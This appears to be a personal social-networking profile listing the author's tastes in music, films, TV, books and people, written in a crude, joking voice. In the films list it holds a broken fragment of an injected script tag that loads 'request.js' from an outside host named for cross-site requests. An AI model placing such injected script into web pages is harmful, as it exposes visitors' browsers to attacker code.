vodka,eyeliner,not being the full ticket,rockstar soap from lush,those little rainbows you get when oil spills in puddles,piercing,le punk,hairdye,people who make my tummy flip, tattoos, toffee nut lattes,when my husband makes up goofy songs for me-sssh dont tell him i told you, my beautiful beautiful son 3,paid days off, LOUDNESS LA LA LA LA, good books, the smell of burnt popcorn, body modification, conspiracy theorys, flawed beauty, girlie lingerie and dont fuck with me boots, making clothes (badly), being on the brink of alcoholism but not giving a fuck, boisterous nights out note, I do NOT give a shit about your band, do not request a friendship - I dont do free advertising
non meanies,other mums who arent into laura ashley, people who get drunk then lend you money then forget they lent you it, I have everything I need but friends are always good...also jackie channplease please please DO NOT1, add me if youve never messaged me 2, repeatedly add me if Ive repeatedly declined your glorious offer of friendship, life is too short for this carry on 3, add me if youre in a wank band..I dont care, Im not 15 anymore, boys in bands dont impress me
the vandals, hole, the ramones, mad capsule markets, voodoo glow skulls, elvis costello, rancid, dropkick murhphys, nick cave and the bad seeds, L7, dead kennedeys,, groop dog drill, operation ivy, the ataris, the dwarves...argh,how hard is this, I give up, just come look at my cd rack or something itll save on my ever diminishing brain power
clash of the titans,fargo, dawn of the dead, nightmare before christmas, any shit your pants scary japanese horror, pretty in pink, the sound of music, the night porter,the labyrinth,high fidelity,anything with copious amount of sex violence and zombies...or sex with zombies..or sex with violence, you get the idea.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..
the mary whitehouse experience, teachers, 6ft under, family guy, spaced,the mighty boosh, Martian Successor Nadesico-gotta love that theme tune..any crap 80s cartoon that takes me back to my youth, mother fucking balamory - thats what happens when you breed, this sort of thing sucks you in!
martin amis..Im just that pretentious, john king, edgar allen poe, douglas coupland,chuck palahniuk, carole morin, rebecca ray, I really really like autobiographies too..anything that removes me from my humdrum life
warren fitzgerald, the aforementioned jackie chann, that dwarf guy from willow, my best friends for managing to always stand by me no matter what a twat I am and my penguin pal from marwell zoo...I will return for you little guy